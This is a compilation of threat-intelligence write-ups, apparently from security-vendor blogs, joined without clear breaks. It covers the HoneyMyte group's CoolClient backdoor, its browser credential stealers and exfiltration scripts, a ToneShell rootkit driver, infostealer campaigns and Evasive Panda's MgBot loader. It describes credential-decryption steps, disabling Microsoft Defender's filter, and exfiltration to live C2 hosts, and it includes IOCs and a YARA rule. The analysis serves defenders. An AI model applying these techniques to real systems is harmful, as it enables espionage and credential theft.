CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.
The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.
HTTP proxy credential sniffer
Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.
The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.
Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers
C2 command handler
The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.
Magic value
Command category
CC BB AA FF
Beaconing, status update, configuration.
CD BB AA FF
Operational commands such as tunnelling, keylogging and file operations.
No magic value
Receive and execute plugin module in memory.
0xFFAABBCC – Beacon and configuration commands
Below is the command menu to manage client status and beaconing:
Command ID
Action
0x0
Send beacon connection
0x1
Update beacon timestamp
0x2
Enumerate active user sessions
0x3
Handle incoming C2 command
0xFFAABBCD – Operational commands
This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:
Command ID
Action
0x0
Set up reverse tunnel connection
0x1
Send data through tunnel
0x2
Close tunnel connection
0x3
Set up reverse proxy
0x4
Shut down a specific socket
0x6
List files in a directory
0x7
Delete file
0x8
Set up keylogger
0x9
Terminate keylogger thread
0xA
Get clipboard data
0xB
Install clipboard and active windows monitor
0xC
Turn off clipboard and active windows monitor
0xD
Read and send file
0xE
Delete file
CoolClient plugins
CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.
Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).
ServiceMgrS.dll – Service management plugin
This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.
Command ID
Action
0x0
Enumerate services
0x1 / 0x4
Start or resume service
0x2
Stop service
0x3
Pause service
0x5
Create service
0x6
Delete service
0x7
Set service to start automatically at boot
0x8
Set service to be launched manually
0x9
Set service to disabled
FileMgrS.dll – File management plugin
A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.
Command ID
Action
0x0
List drives and network resources
0x1
List files in folder
0x2
Delete file or folder
0x3
Create new folder
0x4
Move file
0x5
Read file
0x6
Write data to file
0x7
Compress file or folder into ZIP archive
0x8
Execute file
0x9
Download and execute file using certutil
0xA
Search for file
0xB
Send search result
0xC
Map network drive
0xD
Set chunk size for file transfers
0xF
Bulk copy or move
0x10
Get file metadata
0x11
Set file metadata
RemoteShellS.dll – Remote shell plugin
Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.
CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2
Browser login data stealer
While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.
During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.
The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.
The following table shows the variants of this browser credential stealer employed by HoneyMyte.
Variant
Targeted browser(s)
Execution method
MD5 hash
A
Chrome
Direct execution (PE32)
1A5A9C013CE1B65ABC75D809A25D36A7
B
Edge
Direct execution (PE32)
E1B7EF0F3AC0A0A64F86E220F362B149
C
Chromium-based browsers
DLL side-loading
DA6F89F15094FD3F74BA186954BE6B05
These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.
Initial infection
As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.
A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.
Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.
Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:
In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.
When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.
Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration
To retrieve saved credentials, the malware executes the following SQL query on the copied database:
SELECT origin_url, username_value, password_value FROM logins
This query returns the login URL, stored username, and encrypted password for each saved entry.
Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.
With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.
Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.
Login data stealer’s attribution
Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.
Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer
Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.
Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.
Document theft and system information reconnaissance scripts
In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.
1.bat – System enumeration and data exfiltration batch script
The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.
Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression
It then collects network details and downloads and runs the nbtscan tool for internal network scanning.
Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration
During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.
Batch script that collects registry, startup items, directories, and antivirus information for system profiling
Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.
Finally, it deletes any remaining artifacts to cover its tracks.
Ttraazcs32.ps1 – PowerShell-based collection and exfiltration
The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.
Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.
All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.
In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.
t.ps1 – Saved login data collection and exfiltration
The third script attributed to HoneyMyte is a PowerShell file named t.ps1.
The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.
The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.
PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file
Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.
Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API
This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.
Conclusion
Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.
With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.
Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.
As part of our commitment to sharing interesting hunts, we are launching these 'Flash Hunting Findings' to highlight active threats. Our latest investigation tracks an operation active between January 11 and January 15, 2026, which uses consistent ZIP file structures and a unique behash ("4acaac53c8340a8c236c91e68244e6cb") for identification. The campaign relies on a trusted executable to trick the operating system into loading a malicious payload, leading to the execution of secondary-stage infostealers.
Findings
The primary samples identified are ZIP files that mostly reference the MalwareBytes company and software using the filename malwarebytes-windows-github-io-X.X.X.zip. A notable feature for identification is that all of them share the same behash.
behash:"4acaac53c8340a8c236c91e68244e6cb"
The initial instance of these samples was identified on January 11, 2026, with the most recent occurrence recorded on January 14.
All of these ZIP archives share a nearly identical internal structure, containing the same set of files across the different versions identified. Of particular importance is the DLL file, which serves as the initial malicious payload, and a specific TXT file found in each archive. This text file has been observed on VirusTotal under two distinct filenames: gitconfig.com.txt and Agreement_About.txt.
The content of the TXT file holds no significant importance for the intrusion itself, as it merely contains a single string consisting of a GitHub URL.
However, this TXT is particularly valuable for pivoting and infrastructure mapping. By examining its "execution parents," analysts can identify additional ZIP archives that are likely linked to the same malicious campaign. These related files can be efficiently retrieved for further investigation using the following VirusTotal API v3 endpoint:
The primary payload of this campaign is contained within a malicious DLL named CoreMessaging.dll. Threat actors are utilizing a technique known as DLL Sideloading to execute this code. This involves placing the malicious DLL in the same directory as a legitimate, trusted executable (EXE) also found within the distributed ZIP file. When an analyst or user runs the legitimate EXE, the operating system is tricked into loading the malicious CoreMessaging.dll.
The identified DLLs exhibit distinctive metadata characteristics that are highly effective for pivoting and uncovering additional variants within the same campaign. Security analysts can utilize specific hunting queries to track down other malicious DLLs belonging to this activity. For instance, analysts can search for samples sharing the following unique signature strings found in the file metadata:
Furthermore, the exported functions within these DLLs contains unusual alphanumeric strings. These exports serve as reliable indicators for identifying related malicious components across different stages of the campaign:
Finally, another observation for behavioral analysis can be found in the relations tab of the ZIP files. These files document the full infection chain observed during sandbox execution, where the sandbox extracts the ZIP, runs the legitimate EXE, and subsequently triggers the loading of the malicious DLL. Within the Payload Files section, additional payloads are visible. These represent secondary stages dropped during the initial DLL execution, which act as the final malware samples. These final payloads are primarily identified as infostealers, designed to exfiltrate sensitive data.
Analysis of all the ZIP files behavioral relations reveals a recurring payload file consistently flagged as an infostealer. This malicious component is identified by various YARA rules, including those specifically designed to detect signatures associated with stealing cryptocurrency wallet browser extension IDs among others.
To identify and pivot through the various secondary-stage payloads dropped during this campaign, analysts can utilize a specific behash identifier. These files represent the final infection stage and are primarily designed to exfiltrate credentials and crypto-wallet information. The following behash provides a reliable pivot point for uncovering additional variants.
behash:5ddb604194329c1f182d7ba74f6f5946
IOCs
We have created a public VirusTotal Collection to share all the IOCs in an easy and free way. Below you can find the main IOCs related to the ZIP files and DLLs too.
import "pe"
rule win_dll_sideload_eosinophil_infostealer_jan26
{
meta:
author = "VirusTotal"
description = "Detects malicious DLLs (CoreMessaging.dll) from an infostealer campaign impersonating Malwarebytes, Logitech, and others via DLL sideloading."
reference = "https://blog.virustotal.com/2026/01/malicious-infostealer-january-26.html"
date = "2026-01-16"
behash = "4acaac53c8340a8c236c91e68244e6cb"
target_entity = "file"
hash = "606baa263e87d32a64a9b191fc7e96ca066708b2f003bde35391908d3311a463"
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and pe.is_dll()) and
pe.exports("15Mmm95ml1RbfjH1VUyelYFCf") and pe.exports("2dlSKEtPzvo1mHDN4FYgv")
}
Our experts have detected a new wave of malicious emails targeting Russian private-sector organizations. The goal of the attack is to infect victims’ computers with an infostealer. This campaign is particularly noteworthy because the attackers tried to disguise their activity as the operations of legitimate software and traffic to the ubiquitously-used state and municipal services website.
How the attack begins
The attackers distribute an email containing a malicious attachment disguised as a regular PDF document. In reality, the file is an executable hiding behind a PDF icon; double-clicking it triggers an infection chain on the victim’s computer. In the campaign we analyzed, the malicious files were named УВЕДОМЛЕНИЕ о возбуждении исполнительного производства (NOTICE of Initiation of Enforcement Proceedings) and Дополнительные выплаты (Additional Payouts), though these are probably not the only document names the attackers employ to trick victims into clicking the files.
Technically, the file disguised as a document is a downloader built with the help of the .NET framework. It downloads a secondary loader that installs itself as a service to establish persistence on the victim’s machine. This other loader then retrieves a JSON string containing encrypted files from the command-and-control server. It saves these files to the compromised computer in C:\ProgramData\Microsoft Diagnostic\Tasks, and executes them one by one.
Example of the server response
The key feature of this delivery method is its flexibility: the attackers can provide any malicious payload from the command-and-control server for the malware to download and execute. Presently, the attackers are using an infostealer as the final payload, but this attack could potentially be used to deliver even more dangerous threats – such as ransomware, wipers, or tools for deeper lateral movement within the victim’s infrastructure.
Masking malicious activity
The command-and-control server used to download the malicious payload in this attack was hosted on the domain gossuslugi{.}com. The name is visually similar to Russia’s widely used state and municipal services portal. Furthermore, the second-stage loader has the filename NetworkDiagnostic.exe, which installs itself in the system as a Network Diagnostic Service.
Consequently, an analyst doing only a superficial review of network traffic logs or system events might overlook the server communication and malware execution. This can also complicate any subsequent incident investigation efforts.
What the infostealer collects
The attackers start by gathering information about the compromised system: the computer name, OS version, hardware specifications, and the victim’s IP address. Additionally, the malware is capable of capturing screenshots from the victim’s computer, and harvesting files in formats of interest to the attackers (primarily various documents and archives). Files smaller than 100MB, along with the rest of the collected data, are sent to a separate communication server: ants-queen-dev.azurewebsites{.}net.
File formats of interest to the attackers
The final malicious payload currently in use consists of four files: one executable and three DLL libraries. The executable enables screen capture capabilities. One of the libraries is used to add the executable to startup, another is responsible for data collection, while the third handles data exfiltration.
During network communication, the malware adds an AuthKey header to its requests, which contains the victim’s operating system identifier.
Code snippet: a function for sending messages to the attackers’ server
How to stay safe
Our security solutions detect both the malicious code used in this attack and its communication with the attackers’ command-and-control servers. Therefore, we recommend using reliable security solutions on all devices used by your company to access the internet. And to prevent malicious emails from ever reaching your employees, we also advise deploying a security solution at the corporate email gateway level too.
In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.
Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.
The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.
Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.
Compromised digital certificate
The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.
We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.
Technical details of the malicious driver
The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.
The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.
API resolution
To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.
The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.
Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.
The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.
Protection of the driver file
The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:
FileRenameInformation
FileDispositionInformation
FileRenameInformationBypassAccessCheck
FileDispositionInformationEx
FileRenameInformationEx
FileRenameInformationExBypassAccessCheck
These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.
Protection of registry keys
The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:
ProjectConfiguration
ProjectConfiguration\Instances
ProjectConfiguration Instance
To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.
The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.
The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:
RegNtPreCreateKey
RegNtPreOpenKey
RegNtPreCreateKeyEx
RegNtPreOpenKeyEx
Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.
Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.
Protection of user-mode processes
The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.
Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.
This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.
The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.
Payload injection
The driver delivers two user-mode payloads.
The first payload spawns an svchost process and injects a small delay-inducing shellcode. The PID of this new svchost instance is written to a file for later use.
The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.
Injection workflow:
The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.
After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.
Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.
ToneShell backdoor
The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.
Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.
The samples we have analyzed contact two command-and-control servers:
avocadomechanism[.]com
potherbreference[.]com
ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.
Packet layout:
Header (3 bytes): Fake TLS marker
Size (2 bytes): Payload length
Payload: Encrypted with a rolling XOR key
The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:
Command ID
Description
0x1
Create temporary file for incoming data
0x2 / 0x3
Download file
0x4
Cancel download
0x7
Establish remote shell via pipe
0x8
Receive operator command
0x9
Terminate shell
0xA / 0xB
Upload file
0xC
Cancel upload
0xD
Close connection
Conclusion
We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.
HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.
Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.
Recommendations
To protect themselves against this threat, organizations should:
Implement robust network security measures, such as firewalls and intrusion detection systems.
The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.
The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.
Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.
The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.
In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:
There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.
Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.
The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.
The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:
for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}
After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:
The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.
Decryption routine of encrypted strings
If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.
Multi-stage shellcode execution
As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.
The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.
If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.
To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:
sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d
